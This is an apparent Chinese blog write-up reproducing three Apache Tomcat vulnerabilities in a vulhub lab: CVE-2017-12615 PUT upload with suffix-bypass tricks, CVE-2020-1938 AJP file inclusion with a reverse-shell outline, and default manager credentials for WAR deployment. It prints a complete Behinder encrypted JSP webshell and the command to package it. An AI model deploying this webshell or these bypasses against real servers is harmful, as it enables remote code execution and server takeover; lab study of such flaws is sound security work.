Tomcat漏洞复现CVE-2017-12615&CVE-2020-1938&弱口令

0x00 前言

        今天来复现tomcat的三个漏洞

--学如逆水行舟,不进则退

0x01 CVE-2017-12615

1.漏洞简介

由于配置不当(非默认配置),将配置文件conf/web.xml中的readonly设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀的上传

根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码

通过阅读 conf/web.xml 文件,可以发现,默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控

2.影响版本

apche tomcat 7.0.0-7.0.81

3.漏洞复现

环境搭建(此处省略,使用vulhub搭建),出现以下页面,说明搭建成功

 使用bp抓包进行文件上传

注意:::需要改成PUT请求方式,注意点已在图中标记,出现201,应该是上传成功了

 进去docker容器中看一下

使用以下命令进去容器之后,需到容器的/usr/local/tomcat/webapps/ROOT中查看

docker ps -a    //查看容器ID

docker exec -it 容器ID bash     // 进去容器

 

 尝试抓包写入冰蝎的jsp木马

注意:由于限制了jsp后缀的上传,这里需要绕过,绕过方式有三种

1.Windows下不允许文件以空格结尾以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格  
2.Windows NTFS流Put/a001.jsp::$DATA HTTP/1.1  
3. /在文件名中是非法的,也会被去除(Linux/Windows)Put/a001.jsp/http:/1.1  

冰蝎jsp木马如下:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

 使用bp抓包写入,如下图(注意点已在图中标出)

 使用冰蝎连接

 0x02 CVE-2020-1938

漏洞简介

CVE-2020-1938为Tomcat AJP文件包含漏洞。由长亭科技安全研究员发现的存在于 Tomcat中的安全漏洞,由于 Tomcat AJP协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件,例如可以读取 webapp配置文件或源码。

此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

影响版本

 Apache Tomcat 6
7 <=  Apache Tomcat < 7.0.100
8 <=  Apache Tomcat  < 8.5.51
9 <=  Apache Tomcat  < 9.0.31

漏洞复现

环境搭建(这里同样使用vulhub搭建),出现以下图片,说明搭建成功

使用POC进行漏洞检测,若存在漏洞则可以查看webapps目录下的所有文件

 工具下载地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi  

这里用使用python2环境

这里有漏洞之后,可以进行反弹shell以及msf拿会话,但是由于得结合文件上传漏洞,这里就不演示了,简单说一下

 一:先上传一个txt文件,反弹shell的命令需进行base64编码

 二:nc监听之后,使用上面的脚本-f参数后改为上传的文件即可

0x03 弱口令war包部署

漏洞简介

在tomcat8环境下默认后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台

影响版本 

全版本

漏洞复现

环境搭建(既然使用vulhub搭建tomcat8环境),出现以下图片,说明搭建成功

搭建好之后又,访问http:ip:8080/manager/html,出现下图,进行登录

默认密码tomcat,tomcat,进入后台之后,有一个上传war包的地方,如下图

 这里同样使用冰蝎的jsp木马,使用一下命令,将jsp文件打包为war包(木马内容和上面的一样)

jar -cvf shell.war. shell.jsp

 进行上传war包,部署成功之后,会出现如下图

 访问jsp木马,不报错即代表成功(此处注意目录)

 使用冰蝎连接

 有帮助的话,点个关注呗

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

种树人1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值